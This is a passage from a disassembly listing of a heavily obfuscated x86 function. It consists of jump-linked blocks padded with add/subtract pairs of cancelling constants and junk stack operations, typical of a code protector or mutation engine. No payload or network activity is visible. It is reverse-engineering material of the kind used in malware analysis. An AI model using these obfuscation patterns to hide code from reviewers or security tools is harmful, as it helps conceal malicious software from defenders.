		mov	[esp-6EB0h+arg_6EA8], edi
		mov	edi, 62D76CDEh
		push	edi
		not	[esp-6EACh+arg_6EA4]
		pop	edi
		inc	edi
		jmp	loc_5950BE
; ---------------------------------------------------------------------------


loc_59B175:				; CODE XREF: sub_581EE9+1377Aj
		xor	edx, 13A44415h
		xor	ebp, edx
		jmp	loc_5950D3
; ---------------------------------------------------------------------------


loc_59B182:				; CODE XREF: sub_581EE9+24BFEj
		mov	ebp, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, 2DA30550h
		jmp	loc_596CBE
; ---------------------------------------------------------------------------


loc_59B197:				; CODE XREF: sub_581EE9+1CD71j
		sub	[esp-6E66h+arg_6E64+2],	78B13F6Ch
		jmp	loc_5A1758
; ---------------------------------------------------------------------------


loc_59B1A4:				; CODE XREF: sub_581EE9+22511j
		mov	ecx, 41717F1Dh
		shr	ecx, 1
		or	ecx, 61F374E4h
		add	ecx, 631C46F1h
		jmp	loc_59412C
; ---------------------------------------------------------------------------


loc_59B1BC:				; CODE XREF: sub_581EE9+1FA1Fj
		push	[esp-6E66h+arg_6E5C+2]
		pop	ecx
		add	esp, 4
		add	[esp-6E6Ah+arg_6E64+2],	2CA70103h
		push	ecx
		mov	ecx, 33A417DCh
		add	[esp-6E66h+arg_6E64+2],	ecx
		pop	ecx
		add	[esp-6E6Ah+arg_6E64+2],	ecx
		jmp	loc_598784
; ---------------------------------------------------------------------------


loc_59B1DF:				; CODE XREF: sub_581EE9+249EFj
		add	esi, 39CA0A10h
		jmp	loc_59CFC7
; ---------------------------------------------------------------------------


loc_59B1EA:				; CODE XREF: sub_581EE9+1C7F7j
		add	edx, eax
		pop	eax
		push	2013h
		jmp	loc_597934
; ---------------------------------------------------------------------------


loc_59B1F7:				; CODE XREF: sub_581EE9+1018Aj
		add	[esp-6EA2h+arg_6E9E], 0FE63150h
		add	[esp-6EA2h+arg_6E9E], ebp
		sub	[esp-6EA2h+arg_6E9E], 0FE63150h
		jmp	loc_5A2415
; ---------------------------------------------------------------------------


loc_59B210:				; CODE XREF: sub_581EE9+17D59j
		sub	edx, 1686247Ah
		and	eax, edx
		mov	edx, [esp-6EA6h+arg_6E9E]
		jmp	loc_59832C
; ---------------------------------------------------------------------------


loc_59B220:				; CODE XREF: sub_581EE9+1FABEj
		add	eax, 9F14C71h
		add	eax, 0DCE303Dh
		add	eax, ebx
		sub	eax, 0DCE303Dh
		sub	eax, 9F14C71h
		sub	eax, 5DF76FBEh
		push	ebp
		jmp	loc_5A6691
; ---------------------------------------------------------------------------


loc_59B241:				; CODE XREF: sub_581EE9+1223Ej
		add	ecx, esi
		pop	esi
		push	6D12h
		mov	[esp-6E6Eh+arg_6E64+2],	esi
		mov	esi, 2
		push	eax
		mov	eax, 11A36C64h
		shr	eax, 1
		add	eax, 28C22B5Dh
		shl	eax, 6
		neg	eax
		sub	eax, 6B363E27h
		add	eax, 3B601B77h
		sub	ecx, 7C260FD3h
		add	ecx, eax
		add	ecx, 7C260FD3h
		jmp	loc_59BC8A
; ---------------------------------------------------------------------------


loc_59B280:				; CODE XREF: sub_581EE9+1F6ECj
		push	esp
		pop	[esp-6E66h+arg_6E5C+2]
		push	ebp
		jmp	loc_5A3A94
; ---------------------------------------------------------------------------


loc_59B28A:				; CODE XREF: sub_581EE9+1B9F2j
		sub	al, dl
		add	al, 8
		sub	al, 85h
		push	[esp-6E66h+arg_6E5C+2]
		pop	edx
		jmp	loc_5967FF
; ---------------------------------------------------------------------------


loc_59B299:				; CODE XREF: sub_581EE9+16613j
		push	2CC3h
		mov	[esp-6E58h+arg_6E50], eax
		mov	ah, 78h
		mov	ch, 0CEh
		sub	esp, 4
		mov	[esp-6E54h+arg_6E4C], eax
		mov	ah, 0E1h
		sub	ch, ah
		pop	eax
		add	ch, ah
		jmp	loc_597FB6
; ---------------------------------------------------------------------------


loc_59B2BA:				; CODE XREF: sub_581EE9+23A5Cj
		add	esi, 2
		jmp	loc_597FBE
; ---------------------------------------------------------------------------


loc_59B2C5:				; CODE XREF: sub_581EE9+166AFj
		shr	edi, 2
		jmp	loc_59F0D7
; ---------------------------------------------------------------------------


loc_59B2CD:				; CODE XREF: sub_581EE9+16D84j
		shr	esi, 1
		or	esi, 56223BDCh
		add	esi, 8AD12D19h
		and	ebx, esi
		pop	esi
		push	esi
		mov	esi, 6C571A7Eh
		sub	ebx, 2CAE5317h
		add	ebx, esi
		add	ebx, 2CAE5317h
		pop	esi
		push	ebp
		push	ebx
		add	[esp-6EA0h+arg_6E96+2],	5206D26h
		pop	ebp
		sub	ebp, 5206D26h
		mov	ecx, ebp
		push	[esp-6EA4h+arg_6E9A+2]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EA0h+arg_6E96+2]
		jmp	loc_59D26B
; ---------------------------------------------------------------------------


loc_59B320:				; CODE XREF: sub_581EE9+1FCFEj
		and	edi, 43401740h
		push	eax
		mov	eax, 481E31B1h
		or	eax, 1A1823DBh
		not	eax
		sub	eax, 7A37ADDFh
		xor	edi, eax
		pop	eax
		jmp	loc_593A34
; ---------------------------------------------------------------------------


loc_59B340:				; CODE XREF: sub_581EE9+23F81j
		push	62B151F3h
		mov	edx, [esp-6E9Ch+arg_6E92+2]
		add	esp, 4
		sub	edi, edx
		mov	edx, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		pop	ebx
		jmp	loc_59FB44
; ---------------------------------------------------------------------------


loc_59B35F:				; CODE XREF: sub_581EE9+171E7j
		xor	bl, al
		jmp	loc_5A0A24
; ---------------------------------------------------------------------------


loc_59B366:				; CODE XREF: sub_581EE9+1E99Fj
		push	edi
		push	edx
		mov	edx, 6830093Bh
		not	edx
		inc	edx
		add	edx, 82463E2Fh
		jmp	loc_592169
; ---------------------------------------------------------------------------


loc_59B37B:				; CODE XREF: sub_581EE9+16720j
		push	5EF8h
		mov	[esp-6EA2h+arg_6E9A], edx
		push	bx
		jmp	loc_59ECF8
; ---------------------------------------------------------------------------


loc_59B38A:				; CODE XREF: sub_581EE9+1210Aj
		mov	[esp-6EB4h+arg_6EAC], esi
		mov	esi, 379068Eh
		sub	esi, 593C5770h
		push	esi
		mov	esi, esp
		jmp	loc_5A5DA0
; ---------------------------------------------------------------------------


loc_59B3A0:				; CODE XREF: sub_581EE9+10317j
		xchg	eax, [esp-6EA4h+arg_6E9A+2]
		pop	esp
		mov	[esp-6EA8h+arg_6E9E+2],	ebp
		mov	ebp, esp
		jmp	loc_597443
; ---------------------------------------------------------------------------


loc_59B3AE:				; CODE XREF: sub_581EE9+14C15j
		mov	ebp, 7245694Ch
		jmp	loc_598147
; ---------------------------------------------------------------------------


loc_59B3B8:				; CODE XREF: sub_581EE9+11410j
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	ebp, 2DA10E53h
		sub	ebp, 68B44559h
		add	ebp, ebx
		add	ebp, 68B44559h
		add	ebp, 2DA10E53h
		pop	ebx
		sub	ebp, 2
		xchg	ebp, [esp-6E98h+arg_6E8E+2]
		pop	esp
		mov	word ptr [esp-6E9Ch+arg_6E92+2], cx
		push	small word ptr [esp-6E9Ch+arg_6E96]
		mov	cx, word ptr [esp-6E9Ah+arg_6E92]
		add	esp, 2
		pop	small word ptr [esp-6E9Eh+arg_6E96]
		push	cx
		not	word ptr [esp-6E9Eh+arg_6E96]
		jmp	loc_598C48
; ---------------------------------------------------------------------------


loc_59B400:				; CODE XREF: sub_581EE9+17ED3j
		mov	dl, 8Dh
		jmp	loc_59D5BB
; ---------------------------------------------------------------------------


loc_59B407:				; CODE XREF: sub_581EE9+120A3j
		xor	ebp, 56499617h
		jmp	loc_5A2BD5
; ---------------------------------------------------------------------------


loc_59B412:				; CODE XREF: sub_581EE9+11AFEj
		mov	ecx, [esp+0]
		jmp	loc_5A4BBE
; ---------------------------------------------------------------------------


loc_59B41A:				; CODE XREF: sub_581EE9+15404j
		add	ch, dh
		pop	edx
		sub	ch, bl
		sub	ch, 0B0h
		pop	ebx
		add	al, 35h
		push	ecx
		push	ebx
		mov	bh, 0FAh
		neg	bh
		shr	bh, 5
		shr	bh, 1
		shr	bh, 1
		sub	bh, 1Ah
		mov	ch, bh
		pop	ebx
		sub	al, 0FEh
		sub	al, ch
		jmp	loc_5A00E7
; ---------------------------------------------------------------------------


loc_59B441:				; CODE XREF: sub_581EE9+1FD9Cj
		mov	[esp-6E7Eh+arg_6E76], edi
		mov	edi, 2036534Dh
		sub	dword ptr [esp-6E7Eh+arg_6E7A],	edi
		pop	edi
		add	dword ptr [esp-6E82h+arg_6E7A],	7C231804h
		push	edx
		jmp	loc_597BBF
; ---------------------------------------------------------------------------


loc_59B45B:				; CODE XREF: sub_581EE9+11945j
		push	ebx
		mov	ebx, 5606544Ch
		xor	ebx, 39721ABEh
		or	ebx, 20BC0051h
		or	ebx, 54F56245h
		sub	ebx, 6C9203F5h
		add	ebx, 0FE74C269h
		add	edx, ebx
		pop	ebx
		add	edx, edi
		sub	edx, 11E02D6Bh
		jmp	loc_5947A1
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EA4h+arg_6E9A+2]
		push	11CEh
		mov	[esp-6EA0h+arg_6E96+2],	eax
		jmp	loc_599CCC
; ---------------------------------------------------------------------------


loc_59B4A0:				; CODE XREF: sub_581EE9+1A01Bj
		not	dh
		not	dh
		push	5ABFh
		jmp	loc_595426
; ---------------------------------------------------------------------------


loc_59B4AE:				; CODE XREF: sub_581EE9+124FEj
		push	6DA5h
		mov	[esp-6E9Ah+arg_6E92], edx
		push	esp
		mov	edx, [esp-6E96h+arg_6E8E]
		add	esp, 4
		jmp	loc_59EEC1
; ---------------------------------------------------------------------------


loc_59B4C5:				; CODE XREF: sub_581EE9+210FEj
		pop	ecx
		jmp	loc_59F774
; ---------------------------------------------------------------------------


loc_59B4CB:				; CODE XREF: sub_581EE9+151E0j
		add	esp, 4
		push	0AFDh
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		push	1334h
		mov	[esp-6E46h+arg_6E3E], ecx
		jmp	loc_59B5F3
; ---------------------------------------------------------------------------


loc_59B4EE:				; CODE XREF: sub_581EE9+232B9j
		mov	ah, 93h
		not	ah
		inc	ah
		jmp	loc_59E03C
; ---------------------------------------------------------------------------


loc_59B4F9:				; CODE XREF: sub_581EE9+227CCj
		sub	eax, esi
		mov	esi, [esp-6E46h+arg_6E3E]
		add	esp, 4
		push	ebp
		mov	ebp, 0FD704FCh
		or	eax, ebp
		jmp	loc_5A46C2
; ---------------------------------------------------------------------------


loc_59B50E:				; CODE XREF: sub_581EE9+250F0j
		sub	[esp-6E46h+arg_6E44+2],	ecx
		pop	ecx
		sub	[esp-6E4Ah+arg_6E44+2],	52CB58F7h
		mov	esi, [esp+0]
		jmp	loc_5954E5
; ---------------------------------------------------------------------------


loc_59B523:				; CODE XREF: sub_581EE9+22A8Ej
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_598446
; ---------------------------------------------------------------------------


loc_59B52D:				; CODE XREF: sub_581EE9+181E3j
		mov	edx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		shl	ebp, 2
		push	ebx
		jmp	loc_598CC6
; ---------------------------------------------------------------------------


loc_59B53C:				; CODE XREF: sub_581EE9+200A6j
		mov	dl, 95h
		shl	dl, 2
		or	dl, 7Dh
		xor	dl, 53h
		mov	bl, dl
		mov	edx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		jmp	loc_5A4037
; ---------------------------------------------------------------------------


loc_59B557:				; CODE XREF: sub_581EE9+190EEj
		xchg	ebp, [esp-6E9Ah+arg_6E92]
		pop	esp
		push	3230h
		mov	[esp-6E9Ah+arg_6E92], edx
		push	ebx
		mov	ebx, 7A15545Dh
		add	[esp-6E96h+arg_6E92], 1B4F51B4h
		jmp	loc_59F04E
; ---------------------------------------------------------------------------


loc_59B576:				; CODE XREF: sub_581EE9+139C3j
		sub	ebx, edx
		jmp	loc_59BAAE
; ---------------------------------------------------------------------------


loc_59B57D:				; CODE XREF: sub_581EE9+19D9Cj
		dec	eax
		jmp	loc_59A97E
; ---------------------------------------------------------------------------


loc_59B583:				; CODE XREF: sub_581EE9+1D7BBj
		mov	edi, eax
		pop	eax
		add	edx, edi
		pop	edi
		push	esi
		mov	esi, 60EC135Ah
		push	edi
		mov	edi, 5EEB1FEEh
		add	edi, 0EC85F27h
		sub	esp, 4
		jmp	loc_59BB9C
; ---------------------------------------------------------------------------


loc_59B5A6:				; CODE XREF: sub_581EE9+1F617j
		neg	eax
		inc	eax
		add	eax, 492D23F6h
		mov	ebp, eax
		pop	eax
		add	edx, 52CC53CFh
		jmp	loc_595DD9
; ---------------------------------------------------------------------------


loc_59B5BC:				; CODE XREF: sub_581EE9+13A5Ej
		and	dl, 8
		jmp	loc_59D556
; ---------------------------------------------------------------------------


loc_59B5C4:				; CODE XREF: sub_581EE9+146D8j
		mov	eax, edi
		pop	edi
		shl	eax, 6
		push	2BAFh
		mov	[esp-6E9Ah+arg_6E92], ebx
		mov	ebx, 50842BCCh
		sub	ebx, 0CF62294Eh
		sub	eax, ebx
		push	[esp-6E9Ah+arg_6E92]
		pop	ebx
		add	esp, 4
		sub	esi, eax
		mov	eax, [esp-6E9Eh+arg_6E96]
		push	edi
		push	esp
		pop	edi
		jmp	loc_5A647A
; ---------------------------------------------------------------------------


loc_59B5F3:				; CODE XREF: sub_581EE9+19600j
		push	ebp
		push	eax
		jmp	loc_5A1396
; ---------------------------------------------------------------------------


loc_59B5FA:				; CODE XREF: sub_581EE9+13019j
		push	[esp-6E86h+arg_6E80+2]
		jmp	loc_59C893
; ---------------------------------------------------------------------------


loc_59B603:				; CODE XREF: sub_581EE9+179B4j
		push	ebp
		push	edi
		jmp	loc_597B32
; ---------------------------------------------------------------------------


loc_59B60A:				; CODE XREF: sub_581EE9+21F05j
		mov	esi, 3A9C7886h
		shr	esi, 8
		push	ebp
		mov	ebp, 30B204A0h
		xor	ebp, 42D0446Eh
		push	ebp
		neg	dword ptr [esp+0]
		pop	ebp
		jmp	loc_5A348B
; ---------------------------------------------------------------------------


loc_59B628:				; CODE XREF: sub_581EE9+1CEC4j
		sub	ebx, 45A7C1BFh
		xor	eax, ebx
		pop	ebx
		mov	ecx, eax
		pop	eax
		not	ecx
		push	77FAh
		mov	[esp-6E7Ch+arg_6E72+2],	edx
		jmp	loc_59D449
; ---------------------------------------------------------------------------


loc_59B643:				; CODE XREF: sub_581EE9+21F18j
		mov	ebx, esp
		jmp	loc_59C159
; ---------------------------------------------------------------------------


loc_59B64A:				; CODE XREF: sub_581EE9+102F6j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59B64F:				; CODE XREF: sub_581EE9+13946j
		shl	esi, 5
		not	esi
		dec	esi
		push	ebp
		mov	ebp, 356C4AE8h
		neg	ebp
		not	ebp
		add	ebp, 18F32B34h
		sub	ebp, 76D42C26h
		not	ebp
		add	ebp, 0E64DBA1Ah
		xor	esi, ebp
		pop	ebp
		add	ebx, esi
		pop	esi
		pop	edx
		pop	ecx
		sub	ebx, 129049C2h
		jmp	loc_597D79
; ---------------------------------------------------------------------------


loc_59B686:				; CODE XREF: sub_581EE9+22F59j
		mov	[esp-6E96h+arg_6E8E], ecx
		mov	ecx, 69F16C66h
		mov	eax, ecx
		jmp	loc_5A4C22
; ---------------------------------------------------------------------------


loc_59B695:				; CODE XREF: sub_581EE9+250E6j
		pop	edx
		jmp	loc_597081
; ---------------------------------------------------------------------------


loc_59B69B:				; CODE XREF: sub_581EE9+223CAj
		pop	eax
		jmp	loc_5A3710
; ---------------------------------------------------------------------------


loc_59B6A1:				; CODE XREF: sub_581EE9+128C7j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59B6A6:				; CODE XREF: sub_581EE9+19ED2j
		mov	[esp-6E6Ah+arg_6E60+2],	edx
		mov	edx, 2DAE5CFDh
		add	ecx, 7DFB1FC9h
		sub	ecx, 686B4439h
		sub	ecx, 19E4559Ch
		add	ecx, edx
		add	ecx, 19E4559Ch
		add	ecx, 686B4439h
		jmp	loc_59E7D8
; ---------------------------------------------------------------------------


loc_59B6D3:				; CODE XREF: sub_581EE9+19040j
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E94h+arg_6E8A+2],	ebx
		mov	ebx, esp
		jmp	loc_59EC2B
; ---------------------------------------------------------------------------


loc_59B6E9:				; CODE XREF: sub_581EE9+187A9j
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, 1C06261Bh
		add	edx, eax
		add	edx, 1C06261Bh
		pop	eax
		xchg	edx, [esp-6E6Ch+arg_6E64]
		jmp	loc_59AD53
; ---------------------------------------------------------------------------


loc_59B70C:				; CODE XREF: sub_581EE9+15BBAj
		xor	ebx, 4F7D443Ah
		inc	ebx
		jmp	loc_5A0B12
; ---------------------------------------------------------------------------


loc_59B718:				; CODE XREF: sub_581EE9+152ABj
		pop	esi
		sub	esp, 4
		mov	[esp-6E72h+arg_6E68+2],	esi
		jmp	loc_599397
; ---------------------------------------------------------------------------


loc_59B727:				; CODE XREF: sub_581EE9+22E8Dj
		add	esi, ebp
		jmp	loc_59F5F2
; ---------------------------------------------------------------------------


loc_59B72E:				; CODE XREF: sub_581EE9+1E014j
		mov	ecx, 4
		jmp	loc_598849
; ---------------------------------------------------------------------------


loc_59B738:				; CODE XREF: sub_581EE9+21A45j
		add	esp, 4
		push	[esp-6E76h+arg_6E6E]
		mov	ebx, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_59B045
; ---------------------------------------------------------------------------


loc_59B74F:				; CODE XREF: sub_581EE9+10709j
		sub	esp, 4
		mov	[esp-6EA8h+arg_6E9E+2],	esi
		sub	esp, 4
		mov	[esp-6EA4h+arg_6E9A+2],	edx
		mov	edx, 3FE07D08h
		xor	edx, 627100E6h
		mov	esi, edx
		pop	edx
		jmp	loc_59E4BB
; ---------------------------------------------------------------------------


loc_59B771:				; CODE XREF: sub_581EE9+12126j
		and	edi, ebp
		jmp	loc_5A0E5F
; ---------------------------------------------------------------------------


loc_59B778:				; CODE XREF: sub_581EE9+10C67j
		mov	ah, dl
		mov	cl, ah
		pop	eax
		mov	ah, cl
		jmp	loc_5926BC
; ---------------------------------------------------------------------------


loc_59B784:				; CODE XREF: sub_581EE9+1F347j
		mov	[esp-6E96h+arg_6E8E], edx
		mov	dx, di
		jmp	loc_592852
; ---------------------------------------------------------------------------


loc_59B78F:				; CODE XREF: sub_581EE9+23594j
		pop	ebx
		pop	[esp-6E9Ah+arg_6E92]
		mov	esp, [esp-6E9Eh+arg_6E96]
		add	[esp-6E9Eh+arg_6E9A], esi
		pop	esi
		jmp	loc_5A23AD
; ---------------------------------------------------------------------------


loc_59B7A0:				; CODE XREF: sub_581EE9+1BB5Dj
		inc	ebp
		jmp	loc_59A835
; ---------------------------------------------------------------------------


loc_59B7A6:				; CODE XREF: sub_581EE9+15FBAj
		add	ebp, 188B168Dh
		xor	ebp, 10A4151Dh
		shl	ebp, 8
		jmp	loc_5A2430
; ---------------------------------------------------------------------------


loc_59B7BA:				; CODE XREF: sub_581EE9+12208j
		mov	eax, 221726CDh
		push	eax
		neg	[esp-6E6Eh+arg_6E64+2]
		pop	eax
		jmp	loc_598556
; ---------------------------------------------------------------------------


loc_59B7C9:				; CODE XREF: sub_581EE9+24ADAj
		or	esi, 45FD6C11h
		neg	esi
		sub	esi, 0FFFFFFFFh
		sub	esi, 23962234h
		add	esi, 0A87401A6h
		jmp	loc_59615A
; ---------------------------------------------------------------------------


loc_59B7E5:				; CODE XREF: sub_581EE9+11C5Ej
		pop	esp
		sub	esp, 4
		mov	dword ptr [esp-6E82h+arg_6E7A],	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], esi
		mov	esi, 56CC23DCh
		push	ecx
		mov	ecx, 75E27A73h
		xor	ecx, 44127BB0h
		sub	ecx, 4EC63B78h
		jmp	loc_5A637D
; ---------------------------------------------------------------------------


loc_59B813:				; CODE XREF: sub_581EE9+1768Dj
		mov	eax, edi
		pop	edi
		add	esi, 6F263029h
		sub	esi, 436F32BAh
		add	esi, eax
		add	esi, 436F32BAh
		sub	esi, 6F263029h
		mov	eax, [esp-6E8Ah+arg_6E80+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_5A5D8C
; ---------------------------------------------------------------------------


loc_59B842:				; CODE XREF: sub_581EE9+137A8j
		add	ebx, 4
		push	1806h
		mov	[esp-6E6Eh+arg_6E64+2],	edi
		jmp	loc_59595D
; ---------------------------------------------------------------------------


loc_59B855:				; CODE XREF: sub_581EE9+10175j
		inc	eax
		sub	esp, 4
		jmp	loc_5A6C87
; ---------------------------------------------------------------------------


loc_59B85E:				; CODE XREF: sub_581EE9+1366Ej
		pop	edi
		jmp	loc_594D52
; ---------------------------------------------------------------------------


loc_59B864:				; CODE XREF: sub_581EE9+224ACj
		xor	edi, 17045C82h
		or	edi, 49A4053Ah
		or	edi, 17534EAEh
		push	esi
		mov	esi, 57992556h
		jmp	loc_59D716
; ---------------------------------------------------------------------------


loc_59B881:				; CODE XREF: sub_581EE9+1A33Dj
		push	eax
		jmp	loc_5A2800
; ---------------------------------------------------------------------------


loc_59B887:				; CODE XREF: sub_581EE9+1411Fj
		mov	ecx, [esp-6E5Ch+arg_6E54]
		add	esp, 4
		push	edi
		push	737E0F9Ah
		jmp	loc_599114
; ---------------------------------------------------------------------------


loc_59B89B:				; CODE XREF: sub_581EE9+1C623j
		add	esi, eax
		pop	eax
		add	esi, 4
		xor	esi, [esp-6E5Ch+arg_6E54]
		xor	[esp-6E5Ch+arg_6E54], esi
		jmp	loc_5A5774
; ---------------------------------------------------------------------------


loc_59B8AC:				; CODE XREF: sub_581EE9+10625j
		push	ebx
		jmp	loc_59CA38
; ---------------------------------------------------------------------------


loc_59B8B2:				; CODE XREF: sub_581EE9+18E11j
		mov	[esp-6E5Ah+arg_6E50+2],	eax
		push	[esp-6E5Ah+arg_6E54+2]
		pop	eax
		pop	[esp-6E5Ah+arg_6E50+2]
		mov	esp, [esp-6E5Eh+arg_6E54+2]
		movsx	cx, al
		jmp	$+5
		push	5567h
		mov	[esp-6E5Ah+arg_6E50+2],	ecx
		jmp	loc_59DF42
; ---------------------------------------------------------------------------


loc_59B8D6:				; CODE XREF: sub_581EE9+18D2Ej
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	26DEh
		mov	[esp-6E84h+arg_6E7C], ecx
		push	4DB3h
		jmp	loc_59AAD1
; ---------------------------------------------------------------------------


loc_59B8ED:				; CODE XREF: sub_581EE9+22F8Fj
		pop	ebx
		sub	esp, 4
		mov	[esp-6E80h+arg_6E76+2],	edi
		mov	edi, 301865E6h
		and	esi, edi
		push	[esp-6E80h+arg_6E76+2]
		mov	edi, [esp-6E7Ch+arg_6E72+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E7Ch+arg_6E72+2],	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_59598E
; ---------------------------------------------------------------------------


loc_59B91E:				; CODE XREF: sub_581EE9+1D9C6j
		xchg	ecx, [esp-6E78h+arg_6E6E+2]
		push	[esp-6E78h+arg_6E6E+2]
		push	dword ptr [esp+0]
		mov	eax, [esp-6E70h+arg_6E68]
		push	edx
		jmp	loc_592231
; ---------------------------------------------------------------------------


loc_59B930:				; CODE XREF: sub_581EE9+1D93Fj
		pop	ecx
		push	7DCCh
		mov	[esp-6E6Ch+arg_6E64], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6E6Ch+arg_6E64]
		mov	esp, [esp-6E6Ch+arg_6E64]
		add	bl, al
		mov	eax, [esp-6E6Ch+arg_6E64]
		add	esp, 4
		add	bl, 0B6h
		jmp	loc_598857
; ---------------------------------------------------------------------------


loc_59B95E:				; CODE XREF: sub_581EE9+11D81j
		neg	ebp
		add	ebp, 0DED75533h
		sub	esi, ebp
		pop	ebp
		jmp	loc_5A4AF4
; ---------------------------------------------------------------------------


loc_59B96E:				; CODE XREF: sub_581EE9+11FC0j
		mov	ecx, 2DF70B66h
		add	eax, ecx
		jmp	loc_5987ED
; ---------------------------------------------------------------------------


loc_59B97A:				; CODE XREF: sub_581EE9+13538j
		mov	edi, 73FB7B02h
		push	ebp
		push	edi
		mov	edi, 69D75254h
		jmp	loc_595CB9
; ---------------------------------------------------------------------------


loc_59B98B:				; CODE XREF: sub_581EE9+116ABj
		mov	ebx, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		push	eax
		mov	eax, 1E8F23C1h
		xor	edi, eax
		pop	eax
		jmp	loc_592275
; ---------------------------------------------------------------------------


loc_59B99F:				; CODE XREF: sub_581EE9+1637Bj
		push	esi
		push	esp
		push	[esp-6EBCh+arg_6EB2+2]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5946D4
; ---------------------------------------------------------------------------


loc_59B9B9:				; CODE XREF: sub_581EE9+20BBAj
		and	ebp, eax
		pop	eax
		jmp	loc_5A5CB1
; ---------------------------------------------------------------------------


loc_59B9C1:				; CODE XREF: sub_581EE9+1804Dj
		mov	edi, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		xor	ecx, [esp-6E66h+arg_6E5C+2]
		jmp	loc_59215E
; ---------------------------------------------------------------------------


loc_59B9D2:				; CODE XREF: sub_581EE9+12233j
		add	[esp-6E6Eh+arg_6E64+2],	4
		mov	ecx, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_593EAE
; ---------------------------------------------------------------------------


loc_59B9E7:				; CODE XREF: sub_581EE9+2275Aj
		mov	[esp-6E6Eh+arg_6E64+2],	eax
		jmp	loc_595E15
; ---------------------------------------------------------------------------


loc_59B9EF:				; CODE XREF: sub_581EE9+1D62Dj
		add	edx, 4
		add	edx, 4
		jmp	loc_5A29EA
; ---------------------------------------------------------------------------


loc_59B9FD:				; CODE XREF: sub_581EE9+160F2j
		sub	bl, 19h
		jmp	loc_5A5F89
; ---------------------------------------------------------------------------


loc_59BA05:				; CODE XREF: sub_581EE9+1F858j
		xor	dh, 9Ah
		shr	dh, 3
		neg	dh
		jmp	loc_5A13A1
; ---------------------------------------------------------------------------


loc_59BA12:				; CODE XREF: sub_581EE9+12D9Cj
		mov	ebp, [esp+0]
		add	esp, 4
		mov	edx, ebx
		jmp	loc_5983DC
; ---------------------------------------------------------------------------


loc_59BA22:				; CODE XREF: sub_581EE9+1F7C4j
		add	ebp, 2F387C21h
		push	edi
		mov	edi, 555F12CAh
		and	ebp, edi
		pop	edi
		xor	ebp, 67356E87h
		mov	edi, ebp
		jmp	loc_5A668B
; ---------------------------------------------------------------------------


loc_59BA3E:				; CODE XREF: sub_581EE9+1DC24j
		pop	esp
		mov	[esp-6E7Ch+arg_6E72+2],	edx
		push	2C2Eh
		mov	[esp-6E78h+arg_6E6E+2],	esp
		add	[esp-6E78h+arg_6E6E+2],	4
		push	[esp-6E78h+arg_6E6E+2]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_5A4B02
; ---------------------------------------------------------------------------


loc_59BA5D:				; CODE XREF: sub_581EE9+1DC2Aj
		add	esp, 4
		add	edi, 4
		push	6077h
		mov	[esp+0], ecx
		jmp	loc_59E231
; ---------------------------------------------------------------------------


loc_59BA76:				; CODE XREF: sub_581EE9+10CEEj
		mov	esi, esp
		add	esi, 4
		jmp	loc_594B10
; ---------------------------------------------------------------------------
		push	dword ptr [esp-6E82h+arg_6E7A]
		pop	eax
		push	5200h
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp-6E7Ah+arg_6E72], ebx
		jmp	loc_595F09
; ---------------------------------------------------------------------------


loc_59BA9C:				; CODE XREF: sub_581EE9+22F13j
		add	edx, 3EFE6B22h
		jmp	loc_5A5A5E
; ---------------------------------------------------------------------------


loc_59BAA7:				; CODE XREF: sub_581EE9+17967j
		pop	ebx
		inc	ebx
		jmp	loc_59E2CB
; ---------------------------------------------------------------------------


loc_59BAAE:				; CODE XREF: sub_581EE9+1968Fj
		pop	edx
		jmp	loc_5A2E0B
; ---------------------------------------------------------------------------


loc_59BAB4:				; CODE XREF: sub_581EE9+200C3j
		mov	edi, 4
		mov	esi, edi
		pop	edi
		add	ecx, esi
		pop	esi
		push	52A4h
		mov	[esp-6EA6h+arg_6E9E], ecx
		push	dword ptr [esp-6EA6h+arg_6EA2]
		mov	ecx, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		pop	[esp-6EA6h+arg_6E9E]
		pop	esp
		add	esp, 4
		movzx	ecx, al
		push	788Eh
		mov	[esp-6EAEh+arg_6EA4+2],	ebx
		push	esp
		mov	ebx, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		push	eax
		push	esi
		mov	esi, 5B332975h
		jmp	loc_598B3D
; ---------------------------------------------------------------------------


loc_59BAFC:				; CODE XREF: sub_581EE9+1DA97j
		add	esp, 4
		jmp	loc_592CD0
; ---------------------------------------------------------------------------


loc_59BB07:				; CODE XREF: sub_581EE9+2373Cj
		or	bh, 0B7h
		shl	bh, 8
		add	bh, 77h
		sub	cl, bh
		pop	ebx
		xor	dl, cl
		mov	ecx, [esp-6EAEh+arg_6EA4+2]
		jmp	loc_59A29E
; ---------------------------------------------------------------------------


loc_59BB1D:				; CODE XREF: sub_581EE9+1F158j
		pop	edi
		jmp	loc_59AFF2
; ---------------------------------------------------------------------------


loc_59BB23:				; CODE XREF: sub_581EE9+21ACAj
		push	ebp
		mov	ebp, 5BFC05C9h
		mov	ecx, ebp
		pop	ebp
